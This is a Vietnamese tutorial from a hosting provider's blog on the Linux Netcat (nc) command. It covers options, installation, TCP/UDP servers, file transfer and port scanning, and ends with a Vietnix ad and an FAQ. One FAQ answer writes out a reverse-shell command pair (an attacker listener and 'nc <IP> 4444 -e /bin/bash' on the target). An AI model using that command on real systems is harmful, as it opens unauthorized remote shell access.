Lệnh nc (Netcat) là một công cụ dòng lệnh mạnh mẽ giúp kết nối, kiểm tra và truyền dữ liệu qua giao thức TCP/UDP trong môi trường Linux. Với tính linh hoạt cao, lệnh nc
thường được dùng để tạo máy chủ tạm thời, quét cổng, kiểm tra kết nối, thậm chí gửi nhận file giữa các hệ thống. Bài viết sẽ giới thiệu khái niệm, cú pháp cơ bản, cách cài đặt Netcat và nhiều ví dụ thực tiễn để bạn dễ hình dung cách ứng dụng nc
trong công việc hàng ngày. Cuối cùng, bạn cũng sẽ nắm được những lưu ý quan trọng khi sử dụng để đảm bảo an toàn hệ thống.
Điểm chính cần nắm
- Lệnh nc trong Linux là gì?: Giới thiệu tổng quan về Netcat và vai trò của lệnh
nc
trong hệ thống Linux. - Cú pháp của lệnh nc: Trình bày cấu trúc cú pháp cơ bản và cách sử dụng các tham số phổ biến.
- Cài đặt Netcat (lệnh nc) trong Linux: Hướng dẫn cách cài đặt Netcat trên các bản phân phối Linux khác nhau.
- 5 ví dụ thực tế, ứng dụng lệnh nc trong Linux: Cung cấp các ví dụ minh họa giúp hiểu rõ cách áp dụng
nc
vào thực tiễn. - Một số lưu ý khi sử dụng lệnh nc trong Linux: Nêu các lưu ý quan trọng về bảo mật và quyền truy cập khi sử dụng lệnh
nc
. - Vietnix – Giải pháp lưu trữ hiệu suất cao cho website của bạn: Giới thiệu dịch vụ lưu trữ web tốc độ cao và hỗ trợ chuyên nghiệp của Vietnix.
- FAQ: Giải đáp các câu hỏi thường gặp liên quan đến lệnh
nc
trong Linux.
Lệnh nc trong Linux là gì?
Lệnh nc
(Netcat) trong Linux là một công cụ dòng lệnh cho phép gửi và nhận dữ liệu qua kết nối mạng sử dụng giao thức TCP hoặc UDP. Đây là công cụ được sử dụng phổ biến bởi các quản trị viên hệ thống và mạng nhờ khả năng mô phỏng kết nối, kiểm tra dịch vụ, truyền dữ liệu và khắc phục sự cố.

Một số chức năng phổ biến của lệnh nc
- Gửi và nhận dữ liệu qua TCP/UDP
- Tạo máy chủ hoặc máy khách TCP/UDP đơn giản
- Chuyển tập tin giữa hai hệ thống
- Kiểm tra cổng và dịch vụ đang mở
- Thử nghiệm lập trình socket
- Thiết lập kết nối shell từ xa (khi kết hợp với bash)
Biến thể của nc
và tính linh hoạt
Tùy vào hệ điều hành, nc
có thể là netcat, ncat (từ bộ công cụ Nmap), hoặc openbsd-netcat với cú pháp và tính năng hơi khác nhau. Tuy nhiên, chúng đều hỗ trợ các thao tác mạng cơ bản và có thể mở rộng để phục vụ nhiều mục đích như:
- Proxy TCP đơn giản
- Máy chủ HTTP viết bằng shell-script
- Kiểm tra trình nền mạng
- Làm trung gian SOCKS hoặc HTTP cho SSH
Lưu ý
Trong Linux, tùy chọn -l
cho phép nc
hoạt động như một máy chủ đang lắng nghe kết nối đến tại cổng được chỉ định (TCP hoặc UDP). Khi dùng -l
, bạn không thể kết hợp với một số tùy chọn khác như -p
, -s
hoặc -z
, và mọi thiết lập thời gian chờ (-w
) cũng sẽ bị bỏ qua.
Cú pháp của lệnh nc
Cú pháp cơ bản
nc [tùy chọn] [địa chỉ IP hoặc hostname] [cổng]
Trong đó:
nc
: là tên lệnh Netcat[tùy chọn]
: các tùy chọn như-l
(lắng nghe),-u
(sử dụng UDP),-v
(hiển thị thông tin chi tiết),-z
(chỉ quét cổng, không gửi dữ liệu), v.v.[địa chỉ IP hoặc hostname]
: địa chỉ IP máy chủ (hoặc giao diện khi lắng nghe)[cổng]
: cổng TCP/UDP để kết nối hoặc lắng nghe
Tùy chọn phổ biến của lệnh nc
Tùy chọn | Mô tả |
---|---|
-l | Lắng nghe kết nối đến (chế độ server) |
-p | Chỉ định số cổng cụ thể khi lắng nghe hoặc kết nối |
-u | Sử dụng giao thức UDP thay vì TCP |
-v | Hiển thị thông tin chi tiết (verbose mode) |
-vv | Hiển thị thông tin chi tiết hơn nữa |
-z | Chế độ quét cổng, không gửi dữ liệu (zero I/O mode) |
-n | Bỏ qua phân giải DNS, dùng địa chỉ IP thuần túy |
-o <file> | Ghi log dữ liệu nhận/ghi vào file |
-e <cmd> | Thực thi lệnh sau khi kết nối (nguy hiểm – mở shell) |
-c <cmd> | Giống -e , nhưng thường dùng trong shell script |
-w <giây> | Đặt thời gian chờ (timeout) cho kết nối |
-q <giây> | Thoát sau <giây> giây sau khi EOF |
-k | Giữ cổng mở cho nhiều kết nối đến (dùng với -l ) |
-h | Hiển thị trợ giúp sử dụng lệnh |
nc
Lưu ý
Tránh sử dụng -e
và -c
trên hệ thống thực tế nếu không cần thiết, vì dễ bị lợi dụng để tạo reverse shell hoặc truy cập trái phép.
Cài đặt Netcat (lệnh nc) trong Linux
Trên nhiều bản phân phối Linux, nc
thường được cài sẵn. Bạn có thể kiểm tra điều này bằng lệnh which nc
. Nếu dòng lệnh trên trả về đường dẫn như /usr/bin/nc
, tức là Netcat đã được cài.

Nếu không có kết quả, bạn có thể cài như sau:
sudo apt update
sudo apt install -y netcat
sudo yum update -y
sudo yum install -y nc
Lưu ý
Trên hệ thống họ Red Hat, nc
thường là biến thể nmap-ncat
, có cách dùng tương tự Netcat gốc.
5 ví dụ thực tế, ứng dụng lệnh nc trong Linux
Tạo máy chủ TCP đơn giản
Bạn muốn tạo một máy chủ đơn giản để nhận tin nhắn từ client, phục vụ cho kiểm tra kết nối mạng hoặc demo giao tiếp giữa hai thiết bị.
Trên máy chủ:
nc -l -p 1234
-l
: Chế độ lắng nghe-p 1234
: Lắng nghe tại cổng 1234 (bạn có thể đổi cổng khác nếu muốn)
Trên máy khách (máy khác hoặc terminal khác):
nc <IP_máy_chủ> 1234
Sau khi kết nối thành công, bạn có thể nhập văn bản ở một đầu và sẽ thấy xuất hiện tại đầu kia – giống như trò chuyện đơn giản giữa hai thiết bị.
Gửi và nhận file qua TCP
Bạn muốn truyền file từ một máy này sang máy khác thông qua mạng nội bộ hoặc giữa hai phiên SSH.
Trên máy chủ: Mở cổng 1234 và ghi dữ liệu nhận vào file_nhan.txt
nc -l -p 1234 > file_nhan.txt
Trên máy khách : Gửi nội dung của file_gui.txt
qua kết nối TCP
nc <IP_máy_nhận> 1234 < file_gui.txt
Lưu ý
Thực hiện lệnh ở máy nhận trước rồi mới gửi, tránh lỗi Connection refused
.
Tạo máy chủ UDP
Kiểm tra truyền tải qua UDP – thường dùng trong các ứng dụng VoIP, video streaming.
Trên máy chủ:
nc -u -l -p 9999
# -u: Sử dụng giao thức UDP
Trên máy khách: Gửi chuỗi “Hello UDP” tới máy chủ qua giao thức UDP
echo "Hello UDP" | nc -u <IP_máy_chủ> 9999
Lưu ý
UDP không đảm bảo kết nối như TCP, nên bạn sẽ không thấy phản hồi nếu không có chương trình xử lý đầu vào ở phía nhận.
Quét cổng bằng Netcat
Bạn muốn kiểm tra xem máy chủ có đang mở cổng nào không – ví dụ kiểm tra cổng SSH, HTTP hoặc cổng do bạn định cấu hình.
nc -zv <IP_máy_chủ> 20-80
-z
: Không gửi dữ liệu (chỉ kiểm tra)-v
: Hiển thị chi tiết20-80
: Quét dải cổng từ 20 đến 80
Ví dụ:
nc -zv 192.168.1.10 22
Nếu cổng mở, bạn sẽ thấy thông báo “succeeded”. Ngược lại sẽ là “connection refused” hoặc “timed out”.
Hiển thị thông tin chi tiết khi lắng nghe
Bạn muốn theo dõi đầy đủ thông tin kết nối, giúp dễ debug hoặc trình bày rõ ràng hơn.
nc -lvp 1234
-v
: Hiển thị log chi tiết-p 1234
: Lắng nghe tại cổng 1234
Lệnh này giúp bạn thấy khi nào client kết nối vào, từ đâu, và bạn có thể tương tác hai chiều như trong ví dụ đầu tiên.
Một số lưu ý khi sử dụng lệnh nc
trong Linux
- Không sử dụng trên môi trường sản xuất nếu không có bảo mật bổ sung.
- Cẩn thận khi mở cổng, nên đóng cổng ngay sau khi sử dụng.
- Tránh truyền dữ liệu quan trọng qua
nc
vì không có mã hóa. - Một số thao tác cần quyền root, nhất là khi dùng cổng <1024.
- Kiểm soát việc sử dụng nội bộ, tránh bị lạm dụng tạo shell trái phép.
Vietnix – Giải pháp lưu trữ hiệu suất cao cho website của bạn
Vietnix là đơn vị cung cấp dịch vụ hosting và VPS được nhiều người tin dùng nhờ tốc độ truy xuất nhanh, hiệu suất ổn định và tính bảo mật cao. Với hệ thống máy chủ hiện đại đặt tại các datacenter đạt chuẩn Tier III cùng đội ngũ kỹ thuật chuyên môn cao luôn túc trực 24/7, Vietnix đảm bảo website của bạn luôn hoạt động mượt mà, an toàn và sẵn sàng phục vụ người dùng bất cứ lúc nào.
Dù bạn đang vận hành website doanh nghiệp, blog cá nhân hay hệ thống thương mại điện tử, dịch vụ lưu trữ tại Vietnix đều được tối ưu để đáp ứng hiệu quả mọi nhu cầu sử dụng thực tế.
Thông tin liên hệ:
- Website: https://vietnix.vn/
- Hotline: 1800 1093
- Email: sales@vietnix.com.vn
- Địa chỉ: 265 Hồng Lạc, Phường 10, Quận Tân Bình, TP HCM.
Câu hỏi thường gặp
Sự khác nhau giữa netcat
và nc
là gì?
nc
là tên lệnh; netcat
là tên công cụ. Một số bản phân phối dùng ncat
(nmap), netcat-openbsd
hoặc netcat-traditional
.
Có thể dùng nc
để kiểm tra dịch vụ HTTP hoặc SSH hoạt động không?
Có. Dùng nc -zv <IP> 80
(HTTP) hoặc nc -zv <IP> 22
(SSH) để xác minh trạng thái.
nc.exe
là gì và có dùng được trên Windows không?
nc.exe
là bản Netcat cho Windows. Có thể dùng để gửi/nhận dữ liệu hoặc kiểm tra cổng như trên Linux.
nc
có sẵn trên Ubuntu không?
Không phải lúc nào cũng cài sẵn. Cài bằng: sudo apt install netcat
hoặc netcat-openbsd
.
Khi nào nên dùng netcat-openbsd
thay vì netcat-traditional
trên Ubuntu?
netcat-openbsd
hỗ trợ nhiều tính năng hơn như -k
(giữ phiên lắng nghe), trong khi netcat-traditional
đơn giản và nhẹ hơn.
Netcat có an toàn để sử dụng trong môi trường production không?
Không. nc
không mã hóa dữ liệu, dễ bị sniff. Chỉ nên dùng trong môi trường kiểm thử hoặc mạng nội bộ.
Có thể dùng nc
để tạo reverse shell không?
Có. Ví dụ trên máy tấn công: nc -l -p 4444
, trên máy mục tiêu: nc <IP> 4444 -e /bin/bash
. Cần thận trọng với bảo mật.
Làm sao kết nối liên tục nhiều client tới một listener nc
?
Dùng -k
trong bản netcat-openbsd
: nc -lk -p 1234
. Mỗi kết nối sẽ được xử lý tuần tự.
Lời kết
Việc nắm vững cách sử dụng lệnh nc
trong Linux sẽ giúp bạn chủ động hơn trong việc kiểm tra kết nối, truyền dữ liệu và xử lý sự cố mạng nhanh chóng. Nếu bạn có bất kỳ câu hỏi nào liên quan đến nc
hoặc các công cụ mạng khác trong Linux, đừng ngần ngại để lại bình luận. Bạn cũng có thể tham khảo thêm các hướng dẫn chuyên sâu khác trên blog. Và đừng quên theo dõi Vietnix để cập nhật kiến thức mới nhất về quản trị hệ thống và bảo mật mạng.
Mọi người cũng xem: